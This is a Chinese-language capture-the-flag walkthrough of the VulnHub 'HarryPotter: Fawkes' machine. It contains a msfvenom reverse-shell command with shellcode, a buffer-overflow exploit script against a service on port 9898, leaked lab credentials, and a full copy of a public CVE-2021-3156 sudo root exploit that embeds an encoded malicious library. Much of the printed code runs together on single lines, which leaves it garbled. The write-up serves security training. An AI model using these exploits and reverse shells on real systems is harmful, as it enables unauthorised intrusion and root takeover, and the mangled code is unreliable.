vulnhub之HARRYPOTTER: FAWKES

编程入门行业动态更新时间:2024-10-09 00:41:24

vulnhub之HARRYPOTTER: FAWKES

地址：

目标：

一、主机发现

二、端口扫描

三、服务版本发现

四、信息收集

1.80端口

2.扫描目录

3.回看服务信息

4.ftp匿名访问

5.尝试执行

6.查看server进程和网络状态

7.连接9898端口

五、edb-debugger调试进程

1.前提

2.调试

（2）生成payload

（3）注入payload

（4）msf-pattern_create生成500个不同字符串

（5）msf-pattern_offset找偏移量

（6）验证EIP和ESP位置

六、python脚本反弹shell

1.msfvenom

2.python脚本

3.本地执行

七、信息收集

1.查看隐藏文件

2.cat mycreds.txt

3.ssh

4.信息收集

（1）sudo配置问题

（2） /root

（3）note.txt

八、tcpdump流量分析

1.ssh登录

2.第二个flag

九、提权

1.信息收集

2.利用

（1）修改文件

3.传送到目标服务器上

4.成功提权

地址：

.ova.ova

目标：

拿到两个root，三个flag

一、主机发现

二、端口扫描

开放五个端口。

三、服务版本发现

21端口ftp服务，22端口是ssh，80端口http服务，系统和服务版本都很清楚，2222端口又开启了一个ssh，9898是一个未知服务。

四、信息收集

1.80端口

出来一张图片啥也没有。

2.扫描目录

好家伙啥也没有

3.回看服务信息

发现了21端口有anonymous匿名访问

4.ftp匿名访问

发现一个文件，get下来，并且查看其详细信息，发现是一个ELF的文件，类似于windous的PE（Protable executable）文件，可执行文件

5.尝试执行

发现没有反应

6.查看server进程和网络状态

ps -aux | grep server

ss -pantu | grep server

发现这个server_hogwarts这个进程正在运行中。并且运行的端口号和我们在扫描服务版本时同样是9898端口。

7.连接9898端口

输入魔法指令可以输出相应的文字，这种二进制可执行程序无法查看源码，所以只能对其进行动态调试。能够提交数据，可能存在缓冲区溢出漏洞。

五、edb-debugger调试进程

1.前提

我们是通过ftp服务下载到本地来调试，但是kali本机存在ALSR安全技术，地址空间随机化，会造成内存地址的随机化，导致我们无法确定缓冲区溢出的位置。所以要关闭。

将proc/sys/kernel中的randomize_va_space改为0即可。

2.调试

apt-get install edb-debugger

安装好右上角启动即可

（2）生成payload

python生成500个A

（3）注入payload

首先启动程序

之后edb-debugger中file里attach添加server就可。之后点击run，输入payload即可，我们可以看到这里EIP寄存器都被4141（A）覆盖ESP中也被覆盖，EIP中存储的是下一个指令的内存地址，而ESP寄存器中存储的是具体的指令。

（4）msf-pattern_create生成500个不同字符串

msf-pattern_create -l 500

（5）msf-pattern_offset找偏移量

msf-pattern_offset -l 500 -q 64413764

（6）验证EIP和ESP位置

python -c "print('A'*112+'BBBB'+'C'*100)"

生成一串验证字符串，进行调试，发现EIP寄存器是BBBB，ESP中是CCCCCC，所以去构造一个脚本来反弹shell，ESP寄存器中就是我们的反弹shell的十六进制代码

六、python脚本反弹shell

1.msfvenom

这里是用msfvenom来生成一串python的十六进制payload

msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.43.27 LPORT=4444 -b "\x00" -f python

2.python脚本

#!/usr/bin/python2
import sys,socket
buf =  b""
buf += b"\xd9\xea\xd9\x74\x24\xf4\xbb\x3b\x8c\xca\x43\x5d\x29"
buf += b"\xc9\xb1\x12\x31\x5d\x17\x83\xc5\x04\x03\x66\x9f\x28"
buf += b"\xb6\xa9\x44\x5b\xda\x9a\x39\xf7\x77\x1e\x37\x16\x37"
buf += b"\x78\x8a\x59\xab\xdd\xa4\x65\x01\x5d\x8d\xe0\x60\x35"
buf += b"\xce\xbb\xb8\xde\xa6\xb9\xbe\xf1\x6a\x37\x5f\x41\xf4"
buf += b"\x17\xf1\xf2\x4a\x94\x78\x15\x61\x1b\x28\xbd\x14\x33"
buf += b"\xbe\x55\x81\x64\x6f\xc7\x38\xf2\x8c\x55\xe8\x8d\xb2"
buf += b"\xe9\x05\x43\xb4"payload='A'*112+'\x55\x9d\04\x08'+'\x90'*32+buf
try:s=socket.socket()s.connect(('127.0.0.1',9898))s.send((payload))s.close()
except:print('wrong')sys.exit()

3.本地执行

开启服务，开启侦听端口，用./脚本名执行就行。当然这是我们在本地测试这个程序有缓冲区漏洞并且可以成功反弹shell，在python脚本中改一下ip地址，再次执行成功反弹shell

七、信息收集

1.查看隐藏文件

在/home/harry这个目录下，我们在查看隐藏文件时，发现了mycreds.txt

2.cat mycreds.txt

发现一串疑似密码的东西，尝试去用ssh登录

HarrYp0tter@Hogwarts123

3.ssh

经过多番尝试在2222端口开放的ssh服务，我们利用获得的信息成功登入

4.信息收集

在信息收集中我们发现这是一个docker容器，并不是我们真正的宿主机，要跳出docker容器，就要收集更多的信息。

（1）sudo配置问题

我们直接利用sudo配置问题提权为docker的root，拿到第一个root

（2） /root

在/root目录下，我们找到了第一个horcrux1.txt（flag）

（3）note.txt

并且拿到了一个提示信息，让我们去分析21ftp服务上的流量。

八、tcpdump流量分析

tcpdump -i eth0 port 21

首先进行了tcp三次握手，之后我们可以看到客户端向服务端发送了账号密码

neville bL!Bsg3k

1.ssh登录

经过查看我们发现这是宿主机

2.第二个flag

九、提权

常规的提权手段均不成功

1.信息收集

debian版本10

sudo版本

sudo 堆的缓冲区溢出漏洞，详细文章如下。

CVE-2021-3156: Heap-Based Buffer Overflow in Sudo (Baron Samedit) | Qualys Security Blog

2.利用

利用代码：

CVE-2021-3156/exploit_nss.py at main · worawit/CVE-2021-3156 · GitHub.py

（1）修改文件

由于路径是在/usr/local/bin/sudo,所以修改代码。

#!/usr/bin/python3
'''
Exploit for CVE-2021-3156 with overwrite struct service_user by sleepyaThis exploit requires:
- glibc with tcache
- nscd service is not runningTested on:
- Ubuntu 18.04
- Ubuntu 20.04
- Debian 10
- CentOS 8
'''
import os
import subprocess
import sys
from ctypes import cdll, c_char_p, POINTER, c_int, c_void_pSUDO_PATH = b"/usr/local/bin/sudo"libc = cdll.LoadLibrary("libc.so.6")# don't use LC_ALL (6). it override other LC_
LC_CATS = [b"LC_CTYPE", b"LC_NUMERIC", b"LC_TIME", b"LC_COLLATE", b"LC_MONETARY",b"LC_MESSAGES", b"LC_ALL", b"LC_PAPER", b"LC_NAME", b"LC_ADDRESS",b"LC_TELEPHONE", b"LC_MEASUREMENT", b"LC_IDENTIFICATION"
]def check_is_vuln():# below commands has no log because it is invalid argument for both patched and unpatched version# patched version, error because of '-s' argument# unpatched version, error because of '-A' argument but no SUDO_ASKPASS environmentr, w = os.pipe()pid = os.fork()if not pid:# childos.dup2(w, 2)execve(SUDO_PATH, [ b"sudoedit", b"-s", b"-A", b"/aa", None ], [ None ])exit(0)# parentos.close(w)os.waitpid(pid, 0)r = os.fdopen(r, 'r')err = r.read()r.close()if "sudoedit: no askpass program specified, try setting SUDO_ASKPASS" in err:return Trueassert err.startswith('usage: ') or "invalid mode flags " in err, errreturn Falsedef create_libx(name):so_path = 'libnss_'+name+'.so.2'if os.path.isfile(so_path):return  # existedso_dir = 'libnss_' + name.split('/')[0]if not os.path.exists(so_dir):os.makedirs(so_dir)import zlibimport base64libx_b64 = 'eNqrd/VxY2JkZIABZgY7BhBPACrkwIAJHBgsGJigbJAydgbcwJARlWYQgFBMUH0boMLodAIazQGl\neWDGQM1jRbOPDY3PhcbnZsAPsjIjDP/zs2ZlRfCzGn7z2KGflJmnX5zBEBASn2UdMZOfFQDLghD3'with open(so_path, 'wb') as f:f.write(zlib.decompress(base64.b64decode(libx_b64)))#os.chmod(so_path, 0o755)def check_nscd_condition():if not os.path.exists('/var/run/nscd/socket'):return True # no socket. no service# try connectimport socketsk = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)try:sk.connect('/var/run/nscd/socket')except:return Trueelse:sk.close()with open('/etc/nscd.conf', 'r') as f:for line in f:line = line.strip()if not line.startswith('enable-cache'):continue # commentservice, enable = line.split()[1:]# in fact, if only passwd is enabled, exploit with this method is still possible (need test)# I think no one enable passwd but disable groupif service == 'passwd' and enable == 'yes':return False# group MUST be disabled to exploit sudo with nss_load_library() trickif service == 'group' and enable == 'yes':return Falsereturn Truedef get_libc_version():output = subprocess.check_output(['ldd', '--version'], universal_newlines=True)for line in output.split('\n'):if line.startswith('ldd '):ver_txt = line.rsplit(' ', 1)[1]return list(map(int, ver_txt.split('.')))return Nonedef check_libc_version():version = get_libc_version()assert version, "Cannot detect libc version"# this exploit only works which glibc tcache (added in 2.26)return version[0] >= 2 and version[1] >= 26def check_libc_tcache():libc.malloc.argtypes = (c_int,)libc.malloc.restype = c_void_plibc.free.argtypes = (c_void_p,)# small bin or tcachesize1, size2 = 0xd0, 0xc0mems = [0]*32# consume all size2 chunksfor i in range(len(mems)):mems[i] = libc.malloc(size2)mem1 = libc.malloc(size1)libc.free(mem1)mem2 = libc.malloc(size2)libc.free(mem2)for addr in mems:libc.free(addr)return mem1 != mem2def get_service_user_idx():'''Parse /etc/nsswitch.conf to find a group entry index'''idx = 0found = Falsewith open('/etc/nsswitch.conf', 'r') as f:for line in f:if line.startswith('#'):continue # commentline = line.strip()if not line:continue # empty linewords = line.split()if words[0] == 'group:':found = Truebreakfor word in words[1:]:if word[0] != '[':idx += 1assert found, '"group" database is not found. might be exploitable but no test'return idxdef get_extra_chunk_count(target_chunk_size):# service_user are allocated by calling getpwuid()# so we don't care allocation of chunk size 0x40 after getpwuid()# there are many string that size can be varied# here is the most commonchunk_cnt = 0# get_user_info() -> get_user_groups() ->gids = os.getgroups()malloc_size = len("groups=") + len(gids) * 11chunk_size = (malloc_size + 8 + 15) & 0xfffffff0  # minimum size is 0x20. don't care hereif chunk_size == target_chunk_size: chunk_cnt += 1# host=<hostname>  (unlikely)# get_user_info() -> sudo_gethostname()import socketmalloc_size = len("host=") + len(socket.gethostname()) + 1chunk_size = (malloc_size + 8 + 15) & 0xfffffff0if chunk_size == target_chunk_size: chunk_cnt += 1# simply parse "networks=" from "ip addr" command output# another workaround is bruteforcing with number of 0x70# policy_open() -> format_plugin_settings() -># a value is created from "parse_args() -> get_net_ifs()" with very large buffertry:import ipaddressexcept:return chunk_cntcnt = 0malloc_size = 0proc = subprocess.Popen(['ip', 'addr'], stdout=subprocess.PIPE, bufsize=1, universal_newlines=True)for line in proc.stdout:line = line.strip()if not line.startswith('inet'):continueif cnt < 2: # skip first 2 address (lo interface)cnt += 1continue;addr = line.split(' ', 2)[1]mask = str(ipaddress.ip_network(addr if sys.version_info >= (3,0,0) else addr.decode("UTF-8"), False)mask)malloc_size += addr.index('/') + 1 + len(mask)cnt += 1malloc_size += len("network_addrs=") + cnt - 3 + 1chunk_size = (malloc_size + 8 + 15) & 0xfffffff0if chunk_size == target_chunk_size: chunk_cnt += 1proc.wait()return chunk_cntdef execve(filename, argv, envp):libc.execve.argtypes = c_char_p,POINTER(c_char_p),POINTER(c_char_p)cargv = (c_char_p * len(argv))(*argv)cenvp = (c_char_p * len(envp))(*envp)libc.execve(filename, cargv, cenvp)def lc_env(cat_id, chunk_len):name = b"C.UTF-8@"name = name.ljust(chunk_len - 0x18, b'Z')return LC_CATS[cat_id]+b"="+nameassert check_is_vuln(), "target is patched"
assert check_libc_version(), "glibc is too old. The exploit is relied on glibc tcache feature. Need version >= 2.26"
assert check_libc_tcache(), "glibc tcache is not found"
assert check_nscd_condition(), "nscd service is running, exploit is impossible with this method"
service_user_idx = get_service_user_idx()
assert service_user_idx < 9, '"group" db in nsswitch.conf is too far, idx: %d' % service_user_idx
create_libx("X/X1234")# Note: actions[5] can be any value. library and known MUST be NULL
FAKE_USER_SERVICE_PART = [ b"\\" ] * 0x18 + [ b"X/X1234\\" ]TARGET_OFFSET_START = 0x780
FAKE_USER_SERVICE = FAKE_USER_SERVICE_PART*30
FAKE_USER_SERVICE[-1] = FAKE_USER_SERVICE[-1][:-1]  # remove last '\\'. stop overwrittenCHUNK_CMND_SIZE = 0xf0# Allow custom extra_chunk_cnt incase unexpected allocation
# Note: this step should be no need when CHUNK_CMND_SIZE is 0xf0
extra_chunk_cnt = get_extra_chunk_count(CHUNK_CMND_SIZE) if len(sys.argv) < 2 else int(sys.argv[1])argv = [ b"sudoedit", b"-A", b"-s", b"A"*(CHUNK_CMND_SIZE-0x10)+b"\\", None ]
env = [ b"Z"*(TARGET_OFFSET_START + 0xf - 8 - 1) + b"\\" ] + FAKE_USER_SERVICE
# first 2 chunks are fixed. chunk40 (target service_user) is overwritten from overflown cmnd (in get_cmnd)
env.extend([ lc_env(0, 0x40)+b";A=", lc_env(1, CHUNK_CMND_SIZE) ])# add free chunks that created before target service_user
for i in range(2, service_user_idx+2):# skip LC_ALL (6)env.append(lc_env(i if i < 6 else i+1, 0x40))
if service_user_idx == 0:env.append(lc_env(2, 0x20)) # for filling holefor i in range(11, 11-extra_chunk_cnt, -1):env.append(lc_env(i, CHUNK_CMND_SIZE))env.append(lc_env(12, 0x90)) # for filling holes from freed file buffer
env.append(b"TZ=:")  # shortcut tzset function
# don't put "SUDO_ASKPASS" environment. sudo will fail without logging if no segfault
env.append(None)execve(SUDO_PATH, argv, env)